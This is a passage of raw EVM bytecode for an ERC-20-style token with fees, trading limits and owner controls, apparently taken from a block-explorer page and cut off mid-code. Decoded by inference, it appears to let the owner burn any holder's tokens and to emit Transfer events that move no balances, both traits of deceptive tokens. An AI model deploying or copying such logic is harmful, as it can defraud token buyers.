600061544382614170565b915061544e83614170565b9250828203905081811115615466576154656146d2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006154c8602183614061565b91506154d38261546c565b604082019050919050565b600060208201905081810360008301526154f7816154bb565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061555a602283614061565b9150615565826154fe565b604082019050919050565b600060208201905081810360008301526155898161554d565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006155ec602183614061565b91506155f782615590565b604082019050919050565b6000602082019050818103600083015261561b816155df565b9050919050565b600081905092915050565b50565b600061563d600083615622565b91506156488261562d565b600082019050919050565b600061565e82615630565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506156a681614144565b92915050565b6000602082840312156156c2576156c1614108565b5b60006156d084828501615697565b91505092915050565b6000819050919050565b60006156fe6156f96156f4846156d9565b614249565b614170565b9050919050565b61570e816156e3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61574981614132565b82525050565b600061575b8383615740565b60208301905092915050565b6000602082019050919050565b600061577f82615714565b615789818561571f565b935061579483615730565b8060005b838110156157c55781516157ac888261574f565b97506157b783615767565b925050600181019050615798565b5085935050505092915050565b600060a0820190506157e760008301886142c3565b6157f46020830187615705565b81810360408301526158068186615774565b90506158156060830185614432565b61582260808301846142c3565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c960e0d41cf789637a4a02c690096eb2e0d073cf9c3f078d1b2676d4a2f7143764736f6c634300081200330000000000000000000000008db7af1c3640fdc8647c9522483072695c71f6c1
Deployed Bytecode
0x6080604052600436106103fe5760003560e01c80638ea5220f11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063dd62ed3e14610e88578063e02ae09f14610ec5578063e2f4560514610f02578063e884f26014610f2d57610405565b8063c2b7bbb6116100f2578063c2b7bbb614610da1578063c876d0b914610dca578063c8c8ebe414610df5578063d257b34f14610e20578063d85ba06314610e5d57610405565b8063bbc0c74214610cfb578063c024666814610d26578063c17b5b8c14610d4f578063c18bc19514610d7857610405565b8063a0d82dc5116101a6578063a9059cbb11610175578063a9059cbb14610c06578063a9ddeaa214610c43578063aacebbe314610c6c578063b62496f514610c95578063bbbb3ffc14610cd257610405565b8063a0d82dc514610b4a578063a165506f14610b75578063a457c2d714610b9e578063a4c82a0014610bdb57610405565b80639c3b4fdc116101e25780639c3b4fdc14610aa05780639dc29fac14610acb5780639ec22c0e14610af45780639fccce3214610b1f57610405565b80638ea5220f146109f65780639213691314610a21578063924de9b714610a4c57806395d89b4114610a7557610405565b80633582ad231161030e578063715018a6116102a157806375f0a8741161027057806375f0a874146109355780637bce5a04146109605780638095d5641461098b5780638a8c523c146109b45780638da5cb5b146109cb57610405565b8063715018a6146108a1578063730c1888146108b8578063751039fc146108e15780637571336a1461090c57610405565b80634fbee193116102dd5780634fbee193146107d15780636a486a8e1461080e5780636ddd17131461083957806370a082311461086457610405565b80633582ad231461071557806339509351146107405780633eb2b5ad1461077d57806349bd5a5e146107a657610405565b80631a8145bb1161039157806326ededb81161036057806326ededb81461064057806327c8f835146106695780632c3e486c146106945780632e82f1a0146106bf578063313ce567146106ea57610405565b80631a8145bb146105845780631f3fed8f146105af578063203e727e146105da57806323b872dd1461060357610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c91906140e6565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906141a6565b6110d1565b6040516104699190614201565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061421c565b6110ef565b6040516104a69190614201565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d191906142a8565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc91906142d2565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061421c565b61113d565b005b34801561053a57600080fd5b50610543611205565b60405161055091906142d2565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b91906142d2565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a691906142d2565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d191906142d2565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc91906142ed565b61121d565b005b34801561060f57600080fd5b5061062a6004803603810190610625919061431a565b6112b0565b6040516106379190614201565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143d2565b611389565b005b34801561067557600080fd5b5061067e611466565b60405161068b9190614441565b60405180910390f35b3480156106a057600080fd5b506106a961146c565b6040516106b691906142d2565b60405180910390f35b3480156106cb57600080fd5b506106d4611472565b6040516106e19190614201565b60405180910390f35b3480156106f657600080fd5b506106ff611485565b60405161070c9190614478565b60405180910390f35b34801561072157600080fd5b5061072a61148e565b6040516107379190614201565b60405180910390f35b34801561074c57600080fd5b50610767600480360381019061076291906141a6565b6114a1565b6040516107749190614201565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f919061421c565b611554565b005b3480156107b257600080fd5b506107bb6115a0565b6040516107c89190614441565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f3919061421c565b6115c6565b6040516108059190614201565b60405180910390f35b34801561081a57600080fd5b5061082361161c565b60405161083091906142d2565b60405180910390f35b34801561084557600080fd5b5061084e611622565b60405161085b9190614201565b60405180910390f35b34801561087057600080fd5b5061088b6004803603810190610886919061421c565b611635565b60405161089891906142d2565b60405180910390f35b3480156108ad57600080fd5b506108b661167e565b005b3480156108c457600080fd5b506108df60048036038101906108da91906144bf565b611744565b005b3480156108ed57600080fd5b506108f6611810565b6040516109039190614201565b60405180910390f35b34801561091857600080fd5b50610933600480360381019061092e9190614512565b61183c565b005b34801561094157600080fd5b5061094a61189f565b6040516109579190614441565b60405180910390f35b34801561096c57600080fd5b506109756118c5565b60405161098291906142d2565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad9190614552565b6118cb565b005b3480156109c057600080fd5b506109c9611956565b005b3480156109d757600080fd5b506109e061199d565b6040516109ed9190614441565b60405180910390f35b348015610a0257600080fd5b50610a0b6119c6565b604051610a189190614441565b60405180910390f35b348015610a2d57600080fd5b50610a366119ec565b604051610a4391906142d2565b60405180910390f35b348015610a5857600080fd5b50610a736004803603810190610a6e91906145a5565b6119f2565b005b348015610a8157600080fd5b50610a8a611a17565b604051610a9791906140e6565b60405180910390f35b348015610aac57600080fd5b50610ab5611aa9565b604051610ac291906142d2565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed91906141a6565b611aaf565b005b348015610b0057600080fd5b50610b09611ac5565b604051610b1691906142d2565b60405180910390f35b348015610b2b57600080fd5b50610b34611acb565b604051610b4191906142d2565b60405180910390f35b348015610b5657600080fd5b50610b5f611ad1565b604051610b6c91906142d2565b60405180910390f35b348015610b8157600080fd5b50610b9c6004803603810190610b9791906145d2565b611ad7565b005b348015610baa57600080fd5b50610bc56004803603810190610bc091906141a6565b611aed565b604051610bd29190614201565b60405180910390f35b348015610be757600080fd5b50610bf0611bba565b604051610bfd91906142d2565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c2891906141a6565b611bc0565b604051610c3a9190614201565b60405180910390f35b348015610c4f57600080fd5b50610c6a6004803603810190610c659190614612565b611bde565b005b348015610c7857600080fd5b50610c936004803603810190610c8e919061421c565b611c8b565b005b348015610ca157600080fd5b50610cbc6004803603810190610cb7919061421c565b611d53565b604051610cc99190614441565b60405180910390f35b348015610cde57600080fd5b50610cf96004803603810190610cf491906145d2565b611d86565b005b348015610d0757600080fd5b50610d10611e6a565b604051610d1d9190614201565b60405180910390f35b348015610d3257600080fd5b50610d4d6004803603810190610d489190614512565b611e7d565b005b348015610d5b57600080fd5b50610d766004803603810190610d719190614552565b611f2e565b005b348015610d8457600080fd5b50610d9f6004803603810190610d9a91906142ed565b611fb9565b005b348015610dad57600080fd5b50610dc86004803603810190610dc3919061421c565b61204c565b005b348015610dd657600080fd5b50610ddf6120c5565b604051610dec9190614201565b60405180910390f35b348015610e0157600080fd5b50610e0a6120d8565b604051610e1791906142d2565b60405180910390f35b348015610e2c57600080fd5b50610e476004803603810190610e4291906142ed565b6120de565b604051610e549190614201565b60405180910390f35b348015610e6957600080fd5b50610e726121bf565b604051610e7f91906142d2565b60405180910390f35b348015610e9457600080fd5b50610eaf6004803603810190610eaa91906145d2565b6121c5565b604051610ebc91906142d2565b60405180910390f35b348015610ed157600080fd5b50610eec6004803603810190610ee7919061421c565b61224c565b604051610ef99190614201565b60405180910390f35b348015610f0e57600080fd5b50610f176122a2565b604051610f2491906142d2565b60405180910390f35b348015610f3957600080fd5b50610f426122a8565b604051610f4f9190614201565b60405180910390f35b348015610f6457600080fd5b50610f6d6122d4565b604051610f7a91906142d2565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061421c565b6122da565b005b348015610fb857600080fd5b50610fc161240e565b604051610fce91906142d2565b60405180910390f35b348015610fe357600080fd5b50610fec612414565b604051610ff991906142d2565b60405180910390f35b34801561100e57600080fd5b50611029600480360381019061102491906142ed565b61241a565b6040516110369190614201565b60405180910390f35b60606006805461104e906146a1565b80601f016020809104026020016040519081016040528092919081815260200182805461107a906146a1565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612715565b848461271d565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b6111456128e6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6112256128e6565b633b9aca006103e86001611237611133565b6112419190614701565b61124b9190614772565b6112559190614772565b811015611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e90614815565b60405180910390fd5b633b9aca00816112a79190614701565b600b8190555050565b60006112bd848484612964565b61137e846112c9612715565b6113798560405180606001604052806028815260200161585360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061132f612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b600190509392505050565b6113916128e6565b60005b83839050811015611460578383828181106113b2576113b1614835565b5b90506020020160208101906113c7919061421c565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161144591906142d2565b60405180910390a3808061145890614864565b915050611394565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b600061154a6114ae612715565b8461154585600360006114bf612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b61271d565b6001905092915050565b61155c6128e6565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116866128e6565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61174c6128e6565b610258831015611791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117889061491e565b60405180910390fd5b6103e882111580156117a4575060008210155b6117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da906149b0565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061181a6128e6565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6118446128e6565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6118d36128e6565b826018819055508160198190555080601a81905550601a546019546018546118fb91906149d0565b61190591906149d0565b60178190555060196017541115611951576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194890614a50565b60405180910390fd5b505050565b61195e6128e6565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b6119fa6128e6565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611a26906146a1565b80601f0160208091040260200160405190810160405280929190818152602001828054611a52906146a1565b8015611a9f5780601f10611a7457610100808354040283529160200191611a9f565b820191906000526020600020905b815481529060010190602001808311611a8257829003601f168201915b5050505050905090565b601a5481565b611ab76128e6565b611ac182826134ec565b5050565b60105481565b60215481565b601e5481565b611adf6128e6565b611ae98282611d86565b5050565b6000611bb0611afa612715565b84611bab8560405180606001604052806025815260200161587b6025913960036000611b24612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b6001905092915050565b60145481565b6000611bd4611bcd612715565b8484612964565b6001905092915050565b611be66128e6565b60005b83839050811015611c85578160166000868685818110611c0c57611c0b614835565b5b9050602002016020810190611c21919061421c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611c7d90614864565b915050611be9565b50505050565b611c936128e6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d8e6128e6565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611e856128e6565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f229190614201565b60405180910390a25050565b611f366128e6565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611f5e91906149d0565b611f6891906149d0565b601b819055506063601b541115611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fab90614abc565b60405180910390fd5b505050565b611fc16128e6565b633b9aca006103e86005611fd3611133565b611fdd9190614701565b611fe79190614772565b611ff19190614772565b811015612033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202a90614b4e565b60405180910390fd5b633b9aca00816120439190614701565b600a8190555050565b6120546128e6565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506120c2600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161183c565b50565b602360009054906101000a900460ff1681565b600b5481565b60006120e86128e6565b620186a060016120f6611133565b6121009190614701565b61210a9190614772565b82101561214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390614be0565b60405180910390fd5b6103e8600a612159611133565b6121639190614701565b61216d9190614772565b8211156121af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a690614c72565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c5481565b60006122b26128e6565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b6122e26128e6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234890614d04565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124246128e6565b600f5460105461243491906149d0565b4211612475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246c90614d70565b60405180910390fd5b6103e88211156124ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b190614e02565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161251e9190614441565b602060405180830381865afa15801561253b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061255f9190614e37565b9050600061258a61271061257c86856136b790919063ffffffff16565b61373190919063ffffffff16565b905060008111156125c5576125c4600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361377b565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561269357600080fd5b505af11580156126a7573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126c691906149d0565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290614eb0565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361278c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278390614f42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f290614fd4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128d991906142d2565b60405180910390a3505050565b6128ee612715565b73ffffffffffffffffffffffffffffffffffffffff1661290c613a12565b73ffffffffffffffffffffffffffffffffffffffff1614612962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295990615040565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ca906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3990615164565b60405180910390fd5b60008103612a5b57612a568383600061377b565b613483565b601560009054906101000a900460ff161561307257612a7861199d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ae65750612ab661199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b1f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b59575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b725750600960149054906101000a900460ff16155b1561307157601560019054906101000a900460ff16612c6c57602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c2c5750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c62906151d0565b60405180910390fd5b5b602360009054906101000a900460ff1615612e3657612c8961199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d6a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e355743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de790615288565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f2957600b54811115612ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec39061531a565b60405180910390fd5b600a54612ed883611635565b82612ee391906149d0565b1115612f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1b90615386565b60405180910390fd5b613070565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fc457600b54811115612fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb690615418565b60405180910390fd5b61306f565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661306e57600a5461302183611635565b8261302c91906149d0565b111561306d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306490615386565b60405180910390fd5b5b5b5b5b5b600061307d30611635565b90506000600c5482101590508080156130a25750601560029054906101000a900460ff165b80156130bb5750600960149054906101000a900460ff16155b80156131115750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131675750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131ab576001600960146101000a81548160ff02191690831515021790555061318f613a26565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156131d45750601260009054906101000a900460ff165b156131e4576131e285613bae565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061329a5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132a457600090505b60008115613473576000601b54111561337f576132df60646132d1601b54886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601b54601d54826132f29190614701565b6132fc9190614772565b6020600082825461330d91906149d0565b92505081905550601b54601e54826133259190614701565b61332f9190614772565b6021600082825461334091906149d0565b92505081905550601b54601c54826133589190614701565b6133629190614772565b601f600082825461337391906149d0565b9250508190555061344f565b6000601754111561344e576133b260646133a4601754886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601754601954826133c59190614701565b6133cf9190614772565b602060008282546133e091906149d0565b92505081905550601754601a54826133f89190614701565b6134029190614772565b6021600082825461341391906149d0565b925050819055506017546018548261342b9190614701565b6134359190614772565b601f600082825461344691906149d0565b925050819055505b5b60008111156134645761346387308361377b565b5b80856134709190615438565b94505b61347e87878761377b565b505050505b505050565b60008383111582906134d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134c791906140e6565b60405180910390fd5b50600083856134df9190615438565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361355b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613552906154de565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135d990615570565b60405180910390fd5b816004546135f09190615438565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136459190615438565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136aa91906142d2565b60405180910390a3505050565b60008083036136c9576000905061372b565b600082846136d79190614701565b90508284826136e69190614772565b14613726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371d90615602565b60405180910390fd5b809150505b92915050565b600061377383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c6c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036137ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137e1906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161385090615164565b60405180910390fd5b613864838383613ccf565b6138d08160405180606001604052806026815260200161582d60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061396581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a0591906142d2565b60405180910390a3505050565b600080613a1d613cd4565b90508091505090565b6000613a3130611635565b90506000602154601f54602054613a4891906149d0565b613a5291906149d0565b9050600080831480613a645750600082145b15613a7157505050613bac565b6014600c54613a809190614701565b831115613a99576014600c54613a969190614701565b92505b600060028360205486613aac9190614701565b613ab69190614772565b613ac09190614772565b90506000613ad78286613d7890919063ffffffff16565b90506000479050613ae782613dc2565b6000613afc8247613d7890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613b5c90615653565b60006040518083038185875af1925050503d8060008114613b99576040519150601f19603f3d011682016040523d82523d6000602084013e613b9e565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306